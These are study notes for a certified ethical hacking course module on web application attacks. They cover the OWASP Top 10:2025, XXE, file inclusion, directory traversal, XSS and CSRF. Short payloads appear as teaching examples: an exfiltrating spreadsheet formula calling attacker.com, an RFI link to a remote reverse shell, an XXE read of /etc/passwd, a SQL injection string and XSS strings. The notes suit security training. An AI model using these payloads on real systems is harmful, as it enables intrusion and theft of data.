

CEHv13 A.I MODULE 14- Hacking Web Application

Notes by VIVEK GOSWAMI

Learning Objectives

- Understand web application architecture and security vulnerabilities
- Master the OWASP Top 10 vulnerabilities and exploitation techniques
- Learn advanced web application attack methodologies
- Develop skills in automated and manual testing approaches
- Understand web application security assessment tools
- Explore modern web application security measures and bypasses

INTRODUCTION

Web servers are critical components of modern applications, responsible for hosting and delivering web content to users.

However, vulnerabilities in their configuration, services, or applications can allow attackers to gain unauthorised access, steal data, or take control of the server.

What are Web Applications?

Web Applications are applications that run on remote application servers and are accessible to clients over the internet through web browsers. They consist of front-end user interfaces and back-end processing logic that work together to provide interactive services.

Web Application Architecture

Front-end vs Back-end

Front-end Components

- User Interface : What users interact with directly
- Client-side Processing : Validation, formatting, user experience
- Browser Execution : Runs in user's web browser
- Technologies : HTML, CSS, JavaScript, frameworks like React, Angular

Back-end Components

- Server Logic : Core application functionality and business rules
- Data Processing : Database operations, calculations, integrations
- Security Controls : Authentication, authorization, input validation
- Server Execution : Runs on application servers

Technology Stack

Server-side Languages

- PHP - Hypertext Preprocessor (widely used for web development)
- Java - Enterprise-level applications with frameworks like Spring
- C# - Microsoft .NET framework applications
- Python - Django, Flask frameworks for rapid development
- JavaScript - Node.js for server-side JavaScript execution
- Ruby - Rails framework for rapid web development
- Go - High-performance concurrent applications

Client-side Languages

- HTML - HyperText Markup Language for structure
- CSS - Cascading Style Sheets for presentation
- JavaScript - Dynamic behavior and interactivity

Databases

Relational : MySQL, PostgreSQL, Microsoft SQL Server

NoSQL: MongoDB, CouchDB, Redis

In-memory: Redis, Memcached

Web Application Threat Landscape

Critical Vulnerabilities

Insecure Data Storage

- Description : Sensitive data stored on client-side in plain text
- Risk : Exposure of credentials, personal information, business data
- Examples : Unencrypted local storage, exposed configuration files

Information Leakage

- Description : Sensitive data leaked unintentionally through various channels
- Risk : System information disclosure, user data exposure
- Examples : Error messages, debug information, directory listings

Directory Traversal

- Description : End users able to traverse server's directory structure
- Risk : Access to sensitive files outside web root
- Examples : `../../../../etc/passwd`, `../../../../windows/system32/drivers/etc/hosts`

Parameter/Form Tampering

- Description : Modification of parameter values during client-server communication
- Risk : Business logic bypass, privilege escalation
- Examples : Price manipulation, user ID modification

Injection Attacks

- SQL Injection : Malicious SQL queries injected through input fields
- Cross-Site Scripting (XSS) : JavaScript injection for client-side attacks
- Command Injection : Operating system command execution
- LDAP Injection : Directory service query manipulation

Security Misconfigurations

- Default Accounts : Unchanged default usernames and passwords
- Unnecessary Services : Enabled services that increase attack surface
- Debug Mode : Development features enabled in production
- Error Handling : Verbose error messages revealing system information

Session Management Flaws

- Broken Session Management: Predictable session tokens, fixation
- Session Hijacking : Unauthorized access to active user sessions
- Insufficient Timeout : Long-lived sessions increasing exposure window

Invalidated Input Attacks

Input Validation Failures

Invalidated Input represents the processing of non-validated input from clients to back-end systems. This fundamental vulnerability serves as the foundation for most injection attacks including SQL injection, XSS, and buffer overflows.

Common Input Validation Issues:

- Missing Validation : No input sanitization or filtering
- Client-Side Only : Validation performed only in browser (easily bypassed)
- Incomplete Validation : Partial filtering that can be circumvented
- Type Confusion : Incorrect data type handling

Attack Vectors:

- Form Fields : Text inputs, dropdowns, hidden fields
- URL Parameters : Query string manipulation
- HTTP Headers : Custom headers, User-Agent, Referer
- Cookies : Session tokens, preferences, tracking data
- File Uploads : Malicious file content and metadata

Web Application Penetration Testing Methodology

1. Information Gathering

- Identify web technologies, frameworks, subdomains, and server details.
- Collect publicly available information and enumerate endpoints.

2. Mapping

- Analyze and document input fields, URL parameters, cookies, and hidden endpoints.
- Understand application workflows and business logic.

3. Vulnerability Detection

- Scan and manually test for misconfigurations, injection flaws (SQLi, XSS), authentication and session management weaknesses.
- Check for insecure code, outdated components, and exposed sensitive data.

4. Exploitation

- Execute crafted payloads to confirm vulnerabilities.
- Gain access to restricted data or functionality.

5. Post-Exploitation

- Escalate privileges, maintain access, and pivot within the system.
- Extract sensitive information and test persistence mechanisms.

6. Reporting

- Document discovered vulnerabilities, proof of concept exploits, impact assessment, and mitigation recommendations.
- Provide clear and actionable remediation steps for stakeholders.

Introducing the OWASP Top 10: 2025

- [A01:2025 - Broken Access Control](#)
- [A02:2025 - Security Misconfiguration](#)
- [A03:2025 - Software Supply Chain Failures](#)
- [A04:2025 - Cryptographic Failures](#)
- [A05:2025 - Injection](#)

- [A06:2025 - Insecure Design](#)
- [A07:2025 - Authentication Failures](#)
- [A08:2025 - Software or Data Integrity Failures](#)
- [A09:2025 - Logging & Alerting Failures](#)
- [A10:2025 - Mishandling of Exceptional Condition](#)

OWASP Top 10:2025 with Examples

A01 – Broken Access Control

Example attack:

An attacker changes their user ID in a GET request from `/api/user/1299` to `/api/user/2` and boom, they're reading an admin's billing data because the backend assumed everyone plays nice.

Impact: Unauthorized access, data exposure, privilege escalation.

Mitigation: Centralized ABAC/RBAC, deny-by-default, server-side checks, automated tests for IDOR.

A02 – Security Misconfiguration

Example attack:

A dev leaves **Grafana** or **Kibana** dashboards open on the internet with *no auth* because “it's just for staging.” Attackers scrape the dashboards, grab internal hostnames and cloud keys, and pivot into prod.

Impact: Full infra compromise.

Mitigation: Hardening guidelines, config automation, environment isolation, remove default creds.

A03 – Software Supply Chain Failures

Example attack:

A popular NPM package gets hijacked (classic event-stream moment), malicious code added, and every app that pulls it automatically ships the malware into production because “npm install” is vibes-based engineering.

Impact: Mass compromise across companies.

Mitigation: SBOM, artifact signing, locked versions, dependency scanning, CI/CD integrity checks.

A04 – Cryptographic Failures

Example attack:

The app still forces TLS 1.0 because the “legacy payment system” can’t upgrade. An attacker performs a downgrade attack, grabs session tokens, and impersonates users.

Impact: Credential theft, privacy breach.

Mitigation: TLS 1.3 only, strong cipher suites, proper key rotation, HSM/KMS usage.

A05 – Injection

Example attack:

Attacker drops this into a login field:

```
' OR 1=1 --
```

Your backend, written by an intern who fears parameterized queries, returns the entire user table. In 2025. Absolutely unbelievable behavior.

Impact: Database takeover.

Mitigation: Prepared statements, ORMs, contextual escaping, input validation, SAST/DAST.

A06 – Insecure Design

Example attack:

A payment workflow never considered “negative quantity” because who buys -3 sneakers? Attacker buys -3 items, carts glitch, system issues refunds for phantom purchases.

Impact: Financial fraud due to business logic flaws.

Mitigation: Threat modeling, abuse-case analysis, secure design patterns.

A07 – Authentication Failures

Example attack:

The app uses predictable session IDs like `session_168374`, and there's no rate limiting. Attacker brute-forces valid sessions, logs in as random users without touching a password.

Impact: Account takeover.

Mitigation: Strong session entropy, MFA enforcement, secure token storage, lockouts.

A08 – Software or Data Integrity Failures

Example attack:

An internal admin tool accepts CSV uploads. Attacker injects Excel formulas like `=WEBSERVICE("http://attacker.com/?token="&A1)` which exfiltrates data the moment finance opens the file.

Impact: Data theft via malicious document payloads.

Mitigation: Integrity checks, filtering, sandboxing, code-signing for updates.

A09 – Logging & Alerting Failures

Example attack:

Attackers attempt password spraying for hours, but failed logins aren't logged because "logging is expensive." They finally get a hit, take over an account, and sit inside the system for 3 months.

Impact: Massive dwell time, stealthy breach.

Mitigation: Centralized logging, SIEM integration, anomaly alerts, log integrity controls.

A10 – Mishandling of Exceptional Conditions

Example attack:

App throws raw stack traces in JSON responses. An attacker sends a weird Unicode payload, crashes the error handler, and the system spits out AWS keys from the exception dump.

Impact: Credential exposure, lateral movement.

Mitigation: Sanitized error messages, secure fail-closed behavior, chaos testing.

Sensitive Data Exposure

When the web application doesn't adequately protect sensitive information like session tokens, passwords, banking information, location, health data, or any other similar crucial data whose leak can be critical for the user.

Examples :

1. *An application stores credit card numbers in a database without encryption. If an attacker gets access to the database through SQL injection, he could easily get the credit card numbers.
2. An application store passwords in the database using unsalted or simple hashes. An attacker can expose the unsalted hashes using Rainbow Table attacks.
3. A website that doesn't enforce TLS or uses weak encryption. An attacker could monitor network traffic and downgrade the connections from HTTPS to HTTP. Then, they can intercept the requests and steal the user's session cookie

XEE - XML External Entities

Is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.

- Attackers can supply XML files with specially crafted DOCTYPE definitions to an XML parser with a weak security configuration to perform path traversal, port scanning, and numerous attacks, including denial of service, server-side request forgery (SSRF), or even remote code execution.

Example :

- External entities can reference URIs to retrieve content from local files or network resources.
- This payload will return the content of ``/etc/passwd`` file on target system's OS; (for windows you could reference ``file:///c:/boot.ini``)

```

`xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
`

```

RFI - Remote File Inclusion

Is a method that allows an attacker to employ a script to include a remotely hosted file on the webserver. The vulnerability promoting RFI is largely found on websites running on PHP. This is because PHP supports the ability to ``include`` or ``require`` additional files within a script;

Vulnerable PHP Example :

```
> ` $incfile = $_REQUEST["file"]; include($incfile.".php");`
```

- The first line extracts the file parameter value from the HTTP request, while the second line uses that value to dynamically set the file name, without any appropriate sanitization of the file parameter value, this code can be exploited for unauthorized file uploads.

- For example the URL below contains an external reference to a reverse shell made in PHP file, stored in a remote location:

- ``http://www.example.com/vuln_page.php?file=http://www.hacker.com/netcat.php_``

LFI - Local File Inclusion :

is very much similar to RFI. The only difference being that in LFI, in order to carry out the attack instead of including remote files, the attacker has to use local files (e.g: files on the current server can only be used to execute a malicious script).

Examples :

- ``http://example.com/?file=../../uploads/evil.php``

Directory Traversal

An attacker can get sensitive information like the contents of the `/etc/passwd` file that contains a list of users on the server; Log files, source code, `access.log` and so on

Examples:

- ``http://example.com/events.php?file=../../../../etc/passwd``
- An attacker can get the contents of the `/etc/passwd` (file that contains a list of users on the server).

Similarly, an attacker may leverage the Directory Traversal vulnerability to access log files (for example, Apache `access.log` or `error.log`), source code, and other sensitive information. This information may then be used to advance an attack.

XSS (Cross-site scripting)

Inputting JavaScript into a web form input field that alters what the page does.

- Can also be passed via URL
- Can be malicious by accessing cookies and sending them to a remote host
- Can be mitigated by setting `HttpOnly` flag for cookies; But many hackers can circumvent this in order to execute XSS payloads.

Types of XSS:

1. Stored XSS (Persistent or Type-I) - stores the XSS in a forum or like for multiple people to access.
2. Reflected XSS (or also called a non-persistent XSS); when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
3. DOM Based XSS (or as it is called in some texts, "type-0 XSS") is an XSS attack wherein the attack payload is executed as a result of modifying the DOM "environment" in the victim's browser used by the original client side script, so that the client side code runs in an "unexpected" manner.

Examples of XSS payloads:

- ``"><script>alert(1)</script>``
- ``<svg/onload="alert(1);"``
- ``<svg/OnLoad="{prompt}`">``
- ``p=<svg/1='&q='onload=alert(1)>``

Note: they vary regarding the filtering, validation and WAF capabilities.*

HTML Injection

This vulnerability occurs when user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim.

LDAP Injection

Exploits applications that construct LDAP statements

- Format for LDAP injection includes)(&)

SOAP Injection

Inject query strings in order to bypass authentication

- SOAP uses XML to format information
- Messages are "one way" in nature

Buffer Overflow

Attempts to write data into application's buffer area to overwrite adjacent memory, execute code or crash a system

- Inputs more data than the buffer is allowed
- Includes stack, heap, NOP sleds and more
- Canaries - systems can monitor these - if they are changed, they indicate a buffer overflow has occurred; placed between buffer and control data

Cross-Site Request Forgery (CSRF)

Forces an end user to execute unwanted actions on an app they're already authenticated on

- Inherits identity and privileges of victim to perform an undesired function on victim's behalf
- Captures the session and sends a request based off the logged in user's credentials
- Can be mitigated by sending random challenge tokens

Session Fixation

Attacker logs into a legitimate site and pulls a session ID; sends link with session ID to victim. Once victim logs in, attacker can now log in and run with user's credentials

→ Cookies - small text-based files stored that contains information like preferences, session details or shopping cart contents

→ Can be manipulated to change functionality (e.g. changing a cooking that says "ADMIN=no" to "yes")

→ Sometimes, but rarely, can also contain passwords

HTTP Response Splitting

Adds header response data to an input field so server splits the response

- Can be used to redirect a user to a malicious site
- Is not an attack in and of itself - must be combined with another attack
- With HTTP Response Splitting, it is possible to mount various kinds of attacks:
- XSS
- Web Cache Poisoning (defacement)
- Browser cache poisoning
- Hijacking pages with user-specific information